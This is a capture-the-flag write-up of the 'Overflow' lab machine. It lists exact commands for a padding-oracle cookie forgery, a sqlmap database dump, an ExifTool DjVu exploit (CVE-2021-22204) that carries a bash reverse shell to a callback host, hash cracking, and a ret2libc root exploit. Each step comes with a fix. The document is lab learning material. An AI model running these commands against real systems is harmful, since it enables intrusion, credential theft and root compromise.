Overflow
Summary
I reached the overflow.htb web application and discovered its session cookie was encrypted with AES-CBC — an encryption mode whose server-side padding error messages could be exploited to both decrypt the existing cookie and forge a replacement granting administrator access without credentials. Once inside the admin panel, a SQL injection vulnerability on the logs endpoint allowed me to dump the CMS user table, retrieving MD5-hashed passwords. Separately, the site's image-upload feature passed files directly to an unpatched ExifTool (CVE-2021-22204), which evaluated embedded DjVu metadata as Perl code; a crafted upload produced a reverse shell as the web user www-data. Cracking the weak MD5 hashes and exploiting password reuse across local UNIX accounts enabled lateral movement through two additional user accounts, yielding user.txt. Finally, a custom SETUID-root binary accessible to the compromised user contained a stack buffer overflow with no canary or PIE protection; a ret2libc exploit chain overwrote the return address, spawned a root shell, and delivered complete system compromise.
Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,25,80 -oN overflow_nmap.txt $INTERNAL_TARGETecho '$INTERNAL_TARGET overflow.htb' | sudo tee -a /etc/hostscurl -si -X POST http://$TARGET/login.php -d 'username=test&password=[REDACTED: credential] | grep -i 'set-cookie\|location'Exact commands 3
padbuster http://$TARGET/login.php <auth_cookie_value> 8 -cookie 'auth=<auth_cookie_value>' -encoding 0padbuster http://$TARGET/login.php <auth_cookie_value> 8 -cookie 'auth=<auth_cookie_value>' -encoding 0 -plaintext 'user=admin'curl -si http://$TARGET/home/ -b "$SESSION_COOKIE"FixReplace CBC-mode cookie encryption with authenticated encryption or server-side sessionsCritical
Exact commands 2
sqlmap -u 'http://$TARGET/home/logs.php?name=admin' --cookie 'auth=<forged_admin_cookie>' --dbs --batchsqlmap -u 'http://$TARGET/home/logs.php?name=admin' --cookie 'auth=<forged_admin_cookie>' -D cmsdb -T cms_users --dump --batchFixParameterize all database queries to eliminate SQL injectionCritical
Exact commands 4
nc -lvnp 4444printf '(system("bash -c '\''bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1'\'""))' > payload.txtdjvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.txtcurl -sb 'auth=<forged_admin_cookie>' -F 'file=@exploit.djvu' http://$TARGET/home/upload.phpFixUpgrade ExifTool and sandbox all server-side file metadata processingCritical
Exact commands 4
hashcat -m 0 cms_hashes.txt /usr/share/wordlists/rockyou.txt --showssh <first_user>@overflow.htbsu - <second_user>cat ~/user.txtFixReplace MD5 password storage with a memory-hard hash and prohibit cross-service password reuseHigh
Exact commands 5
find / -perm -4000 -type f 2>/dev/nullchecksec --file=/path/to/setuid_binarygdb -q /path/to/setuid_binarypython3 -c "from pwn import *; e=ELF('/path/to/setuid_binary'); libc=ELF('/lib/x86_64-linux-gnu/libc.so.6'); r=process('/path/to/setuid_binary'); pop_rdi=0x<gadget>; binsh=next(libc.search(b'/bin/sh')); payload=b'A'*<offset>+p64(pop_rdi)+p64(binsh)+p64(libc.sym['system']); r.sendline(payload); r.interactive()"cat /root/root.txtFixRemove the SETUID bit from custom binaries and compile with full exploit mitigationsCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 25/tcp | smtp Postfix smtpd |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |